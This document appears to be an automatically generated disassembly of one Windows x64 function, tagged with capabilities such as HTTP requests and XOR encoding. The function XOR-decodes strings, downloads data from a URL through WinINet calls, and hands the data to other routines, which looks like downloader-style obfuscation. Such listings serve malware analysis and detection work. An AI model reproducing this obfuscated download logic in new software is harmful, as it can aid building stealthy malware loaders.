Function at 0x140024f50
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7c0]
sub rsp, 0x8c0
mov rax, qword [0x140061040]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
mov rsi, rdx
mov r12, rcx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x58], rdx
mov dword [rbp - 0x50], 1
movsd xmm0, qword [str.HZXYW]
movsd qword [rsp + 0x38], xmm0
mov eax, dword [0x14004f3f0]
mov dword [rsp + 0x40], eax
xor edi, edi
cmp byte [0x14004f3f3], dil
je 0x140025152
mov r8d, edi
cmp dword [0x140061090], 2
jl 0x140025113
movdqa xmm5, xmmword [0x14005a050]
movdqa xmm2, xmmword [0x140059f70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140059fe0]
psubd xmm2, xmm0
movdqa xmm4, xmmword [0x14005a000]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14005a020]
movd xmm0, dword [str.HZXYW]
xorps xmm2, xmm0
movd dword [rsp + 0x38], xmm2
movdqa xmm2, xmmword [0x140059f80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140059fe0]
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14005a020]
movd xmm0, dword [rsp + 0x3c]
xorps xmm2, xmm0
movd dword [rsp + 0x3c], xmm2
movdqa xmm3, xmmword [0x140059f90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140059fe0]
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x14005a020]
movd xmm0, eax
xorps xmm3, xmm0
movd dword [rsp + 0x40], xmm3
jmp 0x140025152
lea r9, [rsp + 0x38]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140025120
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov rbx, rdi
mov qword [rbp - 0x38], rbx
mov r14d, 0xf
mov qword [rbp - 0x30], r14
mov byte [rbp - 0x48], bl
test rax, rax
je 0x14002541d
mov rdx, rsi
cmp qword [rsi + 0x18], r14
jbe 0x14002519f
mov rdx, qword [rsi]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
je 0x14002541d
nop dword [rax]
nop word [rax + rax]
lea r9, [rbp - 0x50]
mov r8d, 0x7d0
lea rdx, [rbp - 0x20]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edi, dword [rbp - 0x50]
mov rax, r14
sub rax, rbx
cmp rdi, rax
ja 0x140025222
lea rax, [rbx + rdi]
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x48]
cmp r14, 0xf
cmova rax, qword [rbp - 0x48]
add rbx, rax
mov r8d, edi
lea rdx, [rbp - 0x20]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140025237
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x20]
mov rdx, rdi
lea rcx, [rbp - 0x48]
call fcn.140027a60
xor edx, edx
mov r8d, 0x7d0
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memset
cmp dword [rbp - 0x50], 0
je 0x14002525b
mov r14, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x38]
jmp 0x1400251d0
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov r8d, 2
lea rdx, [0x14004ec98]
lea rcx, [rsp + 0x68]
call fcn.140027c10
nop
movzx eax, word [0x14004ee18]
mov word [rsp + 0x30], ax
movzx eax, byte [0x14004ee1a]
mov byte [rsp + 0x30], 0x7c
xor byte [rsp + 0x31], 0x31
xor al, 0x32
mov byte [rsp + 0x32], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400252d6
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140027c10
nop
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x78]
call fcn.140027300
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x48]
mov rdx, rax
mov rcx, r12
call fcn.140024e20
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140025354
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002534e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002534e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140049a60
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140025394
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002538e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002538e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140049a60
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x1400253d3
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400253cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400253cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140049a60
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140025409
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140025404
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140025416
mov rcx, r8
call fcn.140049a60
mov qword [rsi + 0x10], 0
jmp 0x1400255c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, 2
lea rdx, [0x14004ec98]
lea rcx, [rsp + 0x48]
call fcn.140027c10
nop
movzx eax, word [0x14004ee18]
mov word [rsp + 0x30], ax
movzx eax, byte [0x14004ee1a]
mov byte [rsp + 0x30], 0x7c
xor byte [rsp + 0x31], 0x31
xor al, 0x32
mov byte [rsp + 0x32], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140025490
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.140027c10
nop
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x78]
call fcn.140027300
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x68]
mov rdx, rax
mov rcx, r12
call fcn.140024e20
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14002550d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025507
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025507
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140049a60
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14002554e
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025548
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025548
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140049a60
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14002558d
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025587
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025587
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140049a60
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400255c3
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x1400255be
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400255ff
mov rcx, r8
call fcn.140049a60
mov qword [rsi + 0x10], rdi
mov rax, r12
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov rcx, qword [rbp + 0x7b0]
xor rcx, rsp
call fcn.1400499f0
mov rbx, qword [rsp + 0x910]
add rsp, 0x8c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3